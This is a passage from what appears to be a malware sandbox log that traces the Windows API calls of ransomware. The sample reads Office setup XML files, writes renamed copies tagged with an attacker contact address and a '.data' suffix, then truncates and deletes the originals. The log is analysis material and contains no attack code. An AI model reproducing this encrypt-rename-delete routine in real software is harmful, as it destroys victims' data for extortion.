[0095.175] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.175] lstrlenW (lpString=".rar") returned 4 [0095.175] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.175] lstrlenW (lpString=".bz2") returned 4 [0095.175] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.175] lstrlenW (lpString=".7z") returned 3 [0095.175] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0095.175] lstrlenW (lpString=".dbf") returned 4 [0095.175] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0095.176] lstrlenW (lpString=".1cd") returned 4 [0095.176] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML") returned 101 [0095.176] lstrlenW (lpString=".jpg") returned 4 [0095.176] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.176] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0095.176] lstrlenW (lpString="SETUP.XML") returned 9 [0095.176] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0095.177] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=16683) returned 1 [0095.177] CloseHandle (hObject=0x21c) returned 1 [0095.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 0x20 [0095.178] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0095.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0095.178] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.178] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0095.180] GetLastError () returned 0x0 [0095.181] ReadFile (in: hFile=0x21c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x412b, lpOverlapped=0x0) returned 1 [0095.407] WriteFile (in: hFile=0x218, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0095.409] ReadFile (in: hFile=0x21c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0095.409] WriteFile (in: hFile=0x218, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0095.409] SetEndOfFile (hFile=0x218) returned 1 [0095.409] CloseHandle (hObject=0x218) returned 1 [0095.409] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0095.409] SetEndOfFile (hFile=0x21c) returned 1 [0095.411] CloseHandle (hObject=0x21c) returned 1 [0095.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0095.411] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\setup.xml")) returned 1 [0095.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0095.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0095.412] lstrlenW (lpString=".doc") returned 4 [0095.412] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.412] lstrlenW (lpString=".docx") returned 5 [0095.412] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0095.412] lstrlenW (lpString=".pdf") returned 4 [0095.412] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.412] lstrlenW (lpString=".xls") returned 4 [0095.412] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.412] lstrlenW (lpString=".xlsx") returned 5 [0095.412] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0095.412] lstrlenW (lpString=".ppt") returned 4 [0095.412] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0095.412] lstrlenW (lpString=".zip") returned 4 [0095.412] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.412] lstrlenW (lpString=".rar") returned 4 [0095.412] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.412] lstrlenW (lpString=".bz2") returned 4 [0095.412] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.412] lstrlenW (lpString=".7z") returned 3 [0095.413] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0095.413] lstrlenW (lpString=".dbf") returned 4 [0095.413] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0095.413] lstrlenW (lpString=".1cd") returned 4 [0095.413] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0095.413] lstrlenW (lpString=".jpg") returned 4 [0095.413] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0095.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0095.413] lstrlenW (lpString=".doc") returned 4 [0095.413] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0095.413] lstrlenW (lpString=".docx") returned 5 [0095.413] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0095.413] lstrlenW (lpString=".pdf") returned 4 [0095.414] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0095.414] lstrlenW (lpString=".xls") returned 4 [0095.414] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0095.414] lstrlenW (lpString=".xlsx") returned 5 [0095.414] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0095.414] lstrlenW (lpString=".ppt") returned 4 [0095.414] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0095.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0095.414] lstrlenW (lpString=".zip") returned 4 [0095.414] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0095.414] lstrlenW (lpString=".rar") returned 4 [0095.414] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0095.414] lstrlenW (lpString=".bz2") returned 4 [0095.414] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0095.414] lstrlenW (lpString=".7z") returned 3 [0095.414] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0095.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0095.414] lstrlenW (lpString=".dbf") returned 4 [0095.415] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0095.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0095.415] lstrlenW (lpString=".1cd") returned 4 [0095.415] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0095.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\SETUP.XML") returned 97 [0095.415] lstrlenW (lpString=".jpg") returned 4 [0095.415] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0095.415] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0095.415] lstrlenW (lpString="Proofing.XML") returned 12 [0095.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0096.194] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=811) returned 1 [0096.194] CloseHandle (hObject=0x194) returned 1 [0096.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 0x20 [0096.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.194] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0096.194] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.195] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.195] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0096.195] GetLastError () returned 0x0 [0096.195] ReadFile (in: hFile=0x194, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x32b, lpOverlapped=0x0) returned 1 [0096.220] WriteFile (in: hFile=0x184, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x330, lpOverlapped=0x0) returned 1 [0096.222] ReadFile (in: hFile=0x194, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.222] WriteFile (in: hFile=0x184, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.222] SetEndOfFile (hFile=0x184) returned 1 [0096.623] CloseHandle (hObject=0x184) returned 1 [0096.623] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.623] SetEndOfFile (hFile=0x194) returned 1 [0096.624] CloseHandle (hObject=0x194) returned 1 [0096.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0096.625] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\proofing.xml")) returned 1 [0096.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0096.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0096.625] lstrlenW (lpString=".doc") returned 4 [0096.625] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.625] lstrlenW (lpString=".docx") returned 5 [0096.625] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0096.625] lstrlenW (lpString=".pdf") returned 4 [0096.625] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.625] lstrlenW (lpString=".xls") returned 4 [0096.625] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.625] lstrlenW (lpString=".xlsx") returned 5 [0096.625] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0096.625] lstrlenW (lpString=".ppt") returned 4 [0096.625] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0096.625] lstrlenW (lpString=".zip") returned 4 [0096.625] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.626] lstrlenW (lpString=".rar") returned 4 [0096.626] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.626] lstrlenW (lpString=".bz2") returned 4 [0096.626] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.626] lstrlenW (lpString=".7z") returned 3 [0096.626] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0096.626] lstrlenW (lpString=".dbf") returned 4 [0096.626] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0096.626] lstrlenW (lpString=".1cd") returned 4 [0096.626] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0096.626] lstrlenW (lpString=".jpg") returned 4 [0096.626] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0096.626] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0096.626] lstrlenW (lpString=".doc") returned 4 [0096.626] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.626] lstrlenW (lpString=".docx") returned 5 [0096.626] lstrcmpiW (lpString1=".docx", lpString2="g.XML") returned -1 [0096.626] lstrlenW (lpString=".pdf") returned 4 [0096.626] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.626] lstrlenW (lpString=".xls") returned 4 [0096.627] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.627] lstrlenW (lpString=".xlsx") returned 5 [0096.627] lstrcmpiW (lpString1=".xlsx", lpString2="g.XML") returned -1 [0096.627] lstrlenW (lpString=".ppt") returned 4 [0096.627] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0096.627] lstrlenW (lpString=".zip") returned 4 [0096.627] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.627] lstrlenW (lpString=".rar") returned 4 [0096.627] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.627] lstrlenW (lpString=".bz2") returned 4 [0096.627] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.627] lstrlenW (lpString=".7z") returned 3 [0096.627] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0096.627] lstrlenW (lpString=".dbf") returned 4 [0096.627] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0096.627] lstrlenW (lpString=".1cd") returned 4 [0096.627] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.627] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\Proofing.XML") returned 107 [0096.627] lstrlenW (lpString=".jpg") returned 4 [0096.627] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.628] lstrcmpiW (lpString1=".XML", lpString2=".data") returned 1 [0096.628] lstrlenW (lpString="VisioMUI.XML") returned 12 [0096.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0096.655] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=9503) returned 1 [0096.655] CloseHandle (hObject=0x18c) returned 1 [0096.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20 [0096.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0096.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0096.655] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.655] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0096.656] GetLastError () returned 0x0 [0096.656] ReadFile (in: hFile=0x18c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x251f, lpOverlapped=0x0) returned 1 [0096.661] WriteFile (in: hFile=0x190, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0096.663] ReadFile (in: hFile=0x18c, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0096.663] WriteFile (in: hFile=0x190, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xec, lpOverlapped=0x0) returned 1 [0096.663] SetEndOfFile (hFile=0x190) returned 1 [0096.663] CloseHandle (hObject=0x190) returned 1 [0096.664] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0096.664] SetEndOfFile (hFile=0x18c) returned 1 [0096.665] CloseHandle (hObject=0x18c) returned 1 [0096.666] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x20) returned 1 [0096.666] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 1 [0096.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0096.666] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0096.666] lstrlenW (lpString=".doc") returned 4 [0096.666] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0096.666] lstrlenW (lpString=".docx") returned 5 [0096.666] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0096.666] lstrlenW (lpString=".pdf") returned 4 [0096.667] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0096.667] lstrlenW (lpString=".xls") returned 4 [0096.667] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0096.667] lstrlenW (lpString=".xlsx") returned 5 [0096.667] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0096.667] lstrlenW (lpString=".ppt") returned 4 [0096.667] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0096.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0096.667] lstrlenW (lpString=".zip") returned 4 [0096.667] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0096.667] lstrlenW (lpString=".rar") returned 4 [0096.667] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0096.667] lstrlenW (lpString=".bz2") returned 4 [0096.667] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0096.667] lstrlenW (lpString=".7z") returned 3 [0096.667] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0096.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0096.667] lstrlenW (lpString=".dbf") returned 4 [0096.667] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0096.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0096.667] lstrlenW (lpString=".1cd") returned 4 [0096.667] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0096.667] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML") returned 104 [0096.667] lstrlenW (lpString=".jpg") returned 4 [0096.668] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0096.668] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 